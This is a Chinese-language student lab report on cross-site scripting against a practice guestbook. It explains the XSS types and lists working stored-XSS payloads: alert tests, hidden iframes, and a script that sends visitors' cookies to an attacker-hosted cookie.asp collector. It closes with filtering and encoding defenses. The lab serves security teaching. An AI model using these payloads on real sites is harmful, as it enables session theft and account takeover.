目录
跨站脚本攻击1)跨站脚本攻击(Cross Site Scripting),
一、实验目的及要求
1)深入理解跨站脚本攻击概念;
2)掌握形成跨站脚本漏洞的条件;
3)掌握对跨站脚本的几种利用方式。
二、实验原理
跨站脚本攻击
1)跨站脚本攻击(Cross Site Scripting),
为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
2)XSS工作原理
恶意web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。
3)XSS漏洞的分类
1. 本地利用漏洞,这种漏洞存在于页面中客户端脚本自身;
2. 反射式漏洞,这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中;
3. 存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
4)XSS攻击的危害
1. 盗取用户cookie;
2. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;
3. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;
4. 盗窃企业重要的具有商业价值的资料;
5. 强制发送电子邮件;
6. 网站挂马;
三、实验环境
实验环境为两台互相连网Windows主机。拓扑图如下:
说明:
1. 网络环境中有两台主机,有一台主机在实验环境可见并可登录,我们称为实验机(客户机);另一台主机不可见,但从实验机可以访问,这台主机即为本次实验任务的攻击目标,我们称为目标机。
2. 实验机IP为:10.1.1.78;目标机IP为:10.1.1.2。
3. 在目标主机上安装了跨站脚本攻击的演练平台(留言系统),供本次实验使用。
四、实验步骤及内容
实验步骤一:熟悉留言系统
1、使用远程桌面登录至练习主机。
2、使用浏览器打开http://10.1.1.2页面,进入跨站脚本攻击演练平台,如下图所示:
3、给留言系统添加留言,熟悉本系统环境。
4、管理留言。
点击“管理留言”,用户名:admin,密码:admin123,可以对刚留言进行管理。
存储式跨站脚本漏洞检测
1、登录到实验机上,用IE浏览器中打开留言系统(10.1.1.2)。
2、在留言内容中填写包含有跨站测试的脚本,提交后观察返回效果。
<script>alert("xss")</script>
如下图所示:
3、刷新留言系统,如果新加留言显示如下,则说明系统有存储式跨站漏洞。
4、思考:
测试当其他用户打开这个页面时,嵌入的代码是否会执行?分析留言系统代码,为什么填写的留言脚本会被执行?
会执行,因为这里的代码相当于存储到了数据库中,危害性很大。
实验步骤二:使用跨站漏洞加载恶意网页
(此步骤截图为可访问外网时效果,实验环境无法访问不影响理解)
清空实验一任务,将恶意网页(假设http://www.heetian.com)放入留言系统数据库,并在用户端执行;
1、增加一留言,并在留言内容中改为 <iframe src="http://www.heetian.com"></iframe>,测试返回效果。
2、隐藏恶意网页。增加留言,内容包含以下语句:<iframe src=http://www.baidu.com width="0" height="0"></iframe>,观察返回状态,网页被执行,但未在留言系统界面中显示。这样如果是攻击脚本就可以用此方法隐藏自己。
3、思考本留言系统是否有其他利用方式?
可以用来认证钓鱼,网址跳转。
实验步骤三:利用存储式跨站漏洞窃取用户cookie
1、继续添加留言,包含以下内容:<script>document.write(document.cookie)</script>
结果如图所示:
2、继续添加留言,包含以下内容:
<script>alert(document.cookie)</script>,比较有什么区别?
Document.write直接在留言内容中显示,alert在弹窗中显示也就是在前端Javascript中执行
3、使用管理员登录,观察显示的cookie有什么不同?
一个直接是留言内容,一个为弹窗显示
4、思考:这种窃取cookie的方式有什么缺点?有什么方法可以将用户的cookie窃取出并保存下来,而且用户看不到?
缺点:每个人都能看到,都能利用。
方法:可以访问自己的xss平台网站获取cookie,别的用户无法看到真实cookie
5、在攻击机上使用提供的页面搭建WEB服务器,以便进一步保存浏览用户的cookie。
搭建IIS服务器过程中应注意如下几点:
1)在Web服务扩展中允许Active Server Pages服务
2)默认网站-属性-文档中添加index.asp内容页。
3)在C:\tools\跨站脚本攻击\中的cookies文件夹属性-安全-组或用户名称(G)-添加-高级-立即查找中找到IUSR_BJHIT-YXI7NEFU8用户,选择并确定
4)给IUSR_BJHIT-YXI7NEFU8用户写入权限
搭建好服务器后,在浏览器中输入本机IP地址进行测试,如下图所示,表示web服务正常进行。
返回http://10.1.1.2页面,继续添加留言,包含以下内容:
<script>document.write("<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"'></iframe>");</script>
提交留言后观察目标服务器页面,没有看到异常现象,如下图所示:
再打开本地页面,查看接收浏览用户的cookie接收情况:
五、实验总结
通过这次实验我们了解了Xss跨站脚本漏洞,懂得他分为反射型,存储型和DOM型,存储型的危害最大直接攻击到数据库中了,我们通过向前端javascript注入实现攻击获取cookie,从而进行后续操作。
六、分析与思考
1)如果你是本留言系统的管理员,有哪些方法防止本留言系统XSS漏洞。
1、对输入和URL参数进行过滤(白名单和黑名单)
检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,发现存在特殊字符,将这些特殊字符过滤或者编码。
2、HTML实体编码
字符串js编码转换成实体html编码的方法(防范XSS攻击)
3、对输出内容进行编码
在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
2)如果你是一名渗透测试者,结合本实验,你能从本留言系统获取哪些信息?
获取到cookie从而获取到用户账户信息和密码还有文件信息等